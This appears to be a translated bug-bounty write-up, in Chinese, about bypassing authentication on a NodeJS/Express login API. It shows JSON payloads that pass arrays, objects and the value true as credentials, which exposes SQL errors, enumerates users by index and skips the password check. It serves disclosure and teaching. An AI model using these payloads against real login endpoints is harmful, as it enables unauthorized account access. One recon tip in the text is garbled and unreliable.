NodeJS應用程式身份驗證繞過漏洞分析
本文主要針對的是我參加一個漏洞賞金計劃的過程中發現的NodeJS應用程式身份驗證繞過漏洞進行分析。我們將重點講述我所使用的方法,以便在遇到類似的Web介面(僅提供單一登入表單)時可以利用這種方法來尋找漏洞。
方法論
如果大家曾經對大型網站(例如GM、Sony、Oath或Twitter)進行過漏洞挖掘,那麼進行的第一項工作可能就是執行子域名發現工具,從而進入到初始偵查過程中。這樣一來,我們就能獲得潛在目標的列表,有時這一列表可能會達到數百個、數千個不同的主機。如果有人專注於網路應用程式的漏洞挖掘,可能會使用Aquatone這類工具,這類工具能夠對常用埠上執行的Web服務進行掃描,同時列舉出網站的響應標題,並打印出螢幕,最終提供一份HTML格式的報告。
但是,當我們檢視報告時,會注意到,大多數情況下,這些Web伺服器會呈現出“404 Not Found”、“401 Unauthorized”、“500 Internal Server Error”、預設Web介面或各種服務頁面。其中,服務頁面又包括VPN或網路裝置登入頁面、第三方軟體、cPanels、WordPress登入頁面等。我們可能無法直接獲得Web應用程式的位置,這樣就無法直接進入到尋找XSS或SQL%E6%B3%A8%E5%85%A5/">SQL注入漏洞的步驟。至少,到目前為止,我還沒有這樣的運氣。
但有時,我們實際上可以找到一些看起來像自定義應用程式的介面,其中包含一些其他選項,例如註冊或忘記密碼。在這裡,我們是可以進行一些操作的。遇到此類情況,我通常採用以下的處理方式:
1、首先要做的,就是檢查頁面的原始碼,我們可以找到例如JavaScript或CSS這樣的資源連結,並且能從中發現一些應用程式目錄,例如/assets、/public、/scripts等。我們應該對這些目錄進行檢查,以發現其中是否存在可以利用的檔案。
2、Wappalyzer(支援在所有流行瀏覽器上作為擴充套件使用)能夠提供技術上的充分資訊,包括Web伺服器、伺服器端使用的技術、JavaScript庫等。這樣一來,我們將掌握該頁面的整體情況,併為進一步的測試選擇正確的方法。在這裡,如果應用程式是使用Ruby on Rails構建的,那麼可以嘗試使用針對JavaEE的RCE Payload。
3、如果發現任何JavaScript檔案,我會執行一些靜態分析,以確認是否有任何API終端暴露問題,以及是否存在任何客戶端身份驗證和使用者輸入驗證邏輯。
4、在完成上述步驟並掌握一定資訊後,我開始使用Burp Suite測試所有功能(包括登入、註冊、忘記密碼等)的實際邏輯,並攔截對伺服器的請求。然後,我將請求傳送到Repeater進行重放。具體而言,我們在application/json、application/xml和其他型別的位置更改Content-Type,使用多個Payload作為請求的主題,在不同的HTTP方法之間切換,或更改HTTP請求標頭,並觀察上述嘗試是否能導致伺服器端出現錯誤。如果應用程式存在任何漏洞,現在就是發現這些漏洞的最佳時機,我們需要認真觀察每個響應,並且注意任何一點細小的變化。例如,我們使用PUT替換GET發出請求,標頭是否出現缺少?如果我們傳送一個格式錯誤的JSON,響應正文中是否會出現不尋常的字元?
5、最後,我執行wfuzz,嘗試發現伺服器上一些不需要的檔案或資料夾。我自定義的“Starter Pack”字典中,包含一些Web伺服器上常見的內容,例如.git或.svn這些源版本控制系統資料夾、JetBrain的.idea這類IDE目錄、.DS_Store檔案、配置檔案、常見Web介面路徑、管理員介面,以及Tomcat、JBoss、Sharepoint的特定檔案或資料夾。這個字典中,共包含約45k的條目,我發現利用這一字典總能找到一些有趣的內容,可以幫助我進一步發現漏洞。
如果進行上述步驟後,沒有任何發現,那麼我認為這一應用程式的安全性較強,很可能沒有漏洞能夠繞過身份驗證或進入應用程式。
在實際嘗試中,通過分析認證的請求,我們得到了一些線索。實際上,這是一個簡單的登入表單,但經過我們對HTTP響應標頭進行分析並使用Wappalyzer進行掃描後,結果表明這是一個使用ExpressJS框架構建的NodeJS應用程式。我之前擔任Web開發人員時,JavaScript是我最為常用的語言,並且我已經在尋找JavaScript相關的棧漏洞這一方面積累了充分的經驗。因此,我決定深入挖掘這一漏洞,看看我能夠做些什麼。
漏洞發現
我們使用Payload,對偵查階段發現的終端進行測試,在這裡,找到了一個憑據錯誤的漏洞,該漏洞是在JSON的POST過程中包含使用者名稱和密碼:
POST /api/auth/login HTTP/1.1 Host: REDACTED Connection: close Content-Length: 48 Accept: application/json, text/plain, */* Origin: REDACTED User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3558.0 Safari/537.36 DNT: 1 Content-Type: application/json;charset=UTF-8 Referer: REDACTED/login Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,pl-PL;q=0.8,pl;q=0.7 Cookie: REDACTED {“username”:”bl4de”,”password”:”secretpassword”}
在本文的後續,我將省略HTTP標頭,因為我們沒有對標頭進行任何更改。
在響應中,沒有看到任何令人興奮的內容,除了其中的一個細節:
HTTP/1.1 401 Unauthorized X-Powered-By: Express Vary: X-HTTP-Method-Override, Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: X-Requested-With,content-type, Authorization X-Content-Type-Options: nosniff Content-Type: application/json; charset=utf-8 Content-Length: 83 ETag: W/”53-vxvZJPkaGgb/+r6gylAGG9yaeoE” Date: Thu, 11 Oct 2018 18:50:26 GMT Connection: close {“result”:”User with login [bl4de] was not found.”,”resultCode”:401,”type”:”error”}
這個細節是,響應使用了方括號來返回我傳送的使用者名稱。因為在JavaScript中,方括號表示陣列,所以這個使用者名稱的返回值,看起來像是這個陣列的實際元素。為了確認這一點,我傳送了另一個Payload,一個空的陣列:
{“username”:[],”password”:”secretpassword”}
伺服器響應如下,印證了我們的這一推測:
{“result”:”User with login [] was not found.”,”resultCode”:401,”type”:”error”}
一個空的陣列?那麼方括號是否可以被接受為使用者名稱呢?
我們嘗試將空物件作為使用者名稱提交,看看會發生什麼:
{“username”:{},”password”:”secretpassword”}
針對該請求的響應內容,證明了我的猜想,剛剛傳送的內容會在身份驗證邏輯中用作使用者名稱(嘗試呼叫{}.replace函式,但沒有替換JavaScript物件):
{"result":"val.replace is not a function","resultCode":500,"type":"error"}
我們建立一個空的物件(對應上述響應中的val),然後呼叫replace()作為其方法。我們可以看到,錯誤完全相同:
let val = {} val.replace() VM188:1 Uncaught TypeError: val.replace is not a function at <anonymous>:1:5
漏洞利用
在確認了這一漏洞後,我們就要嘗試對其進行成功的利用。我們根據其響應內容,推斷背後所執行的程式碼,接下來要做的下一個測試,就是儘可能“搗亂”,以觸發其他錯誤。看起來,巢狀陣列([[]])是一個不錯的嘗試:
{“username”:[[]],”password”:”secretpassword”}
來自伺服器的響應內容超出了我的預期:
{"result":"ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') OR `Person`.`REDACTED_ID` IN ()) LIMIT 1' at line 1","resultCode":409,"type":"error"}
在我們看到類似這樣的錯誤資訊時,會本能地想到SQL注入。但首先,我們需要知道如何在該查詢中使用使用者名稱來製作正確的Payload,並攻陷MySQL服務。我們知道,使用者名稱被視為某個陣列元素,因此我傳送了一個請求,其中username只是陣列的第一個元素([0]):
{“username”:[0],”password”:”secretpassword”}
這一次,應用程式返回了不一樣的錯誤資訊:
{“result”:”User super.adm, Request {\”port\”:21110,\”path\”:\”/REDACTED? ApiKey=REDACTED\”,\”headers\”:{\”Authorization\”:\”Basic c3VwZXIuYWRtOnNlY3JldHBhc3N3b3Jk\”}, \”host\”:\”api-global.REDACTED\”}, Response {\”faultcode\”:\”ERR_ACCESS_DENIED\”,\”faultstring\”:\”User credentials are wrong or missing.\”, \”correlationId\”:\”Id-d5a9bf5b7ad73e0042191000924e3ca9\”}”,”resultCode”:401,”type”:”error”}
經過快速分析後,我發現我能夠以某種方式,使用ID為0的使用者(或者某個資料結構中索引為0的使用者)傳送另一個請求。由於密碼錯誤,顯然並沒有成功進行身份驗證。實際上,我們可以看到Authorization表頭中包含Base 64編碼後的字串super.adm:secretpassword,這也就意味著該應用程式確實啟用了索引為0的使用者。
接下來,我們想要弄清楚,是否可以使用後續的索引(1、2、3)從資料庫中列舉使用者。經過嘗試,成功的找到了另外兩個使用者。此外,我們還發現可以傳遞任意數量的索引,作為登陸請求的使用者名稱中的陣列,它們將在IN()子句的SQL查詢中使用:
{"username":[0,1,2,30,50,100],"password":"secretpassword"}
只要發現其中的某個索引有效,這一請求總會返回一個有效的使用者(應用程式嘗試使用SQL查詢,從資料庫中選擇的使用者名稱傳送這一內部API請求)。但是,它仍然沒有接受我嘗試的密碼,因此我們目前還沒能完全繞過身份驗證。我的下一個挑戰,就是找到繞過密碼驗證的方法。
考慮到我正在分析JavaScript應用程式,那麼我能想到的一個簡單的東西就是Boolean false。
{“username”:[0],”password”:false}
這次,來自伺服器的響應是不同的:
{"result":"Please provide credentials","resultCode":500,"type":"error"}
我從來沒有見過這個錯誤,但我很快確認,剛剛的嘗試是有效的,因為其中缺少了使用者名稱和密碼。由於我提供了使用者名稱,伺服器只需要驗證密碼,但false表示根本沒有密碼。如果我們其改成“null”或“0”(這些都是JavaScript中的False值),也將得到相同的響應。
最終PoC
所以,如果將密碼設定為False不起作用,那麼如何將密碼設定為True呢?
{“username”:[0],”password”:true}
就是這樣,使用陣列的第一個元素([0])作為使用者名稱,並且使用True關鍵字作為密碼,使我成功繞過了身份驗證,並得到如下響應:
{"result":"Given pin is not valid.","resultCode":401,"type":"error"}
需要澄清一點,完整的繞過並沒有完成,原因在於這一過程中還涉及到第三個因素:PIN碼。實際上,PIN碼應該在登入後輸入,由此證明我們已經繞過了身份驗證機制。這一漏洞在提交後被認為有效,並且目前已經被廠商修復。
由於會使用正則表示式對使用者名稱和密碼進行檢查,因此我們在嘗試建立Payload時會返回語法錯誤的錯誤提示,因為Payload中包含不支援的字元,我們無法進行SQL注入。
致謝
最後,我要感謝該公司及安全團隊的支援與及時修復,感謝HackerOne賞金計劃使我擁有了探索漏洞的機會。最後,要感謝我所在的安全小組成員為這份報告所提供的支援與反饋。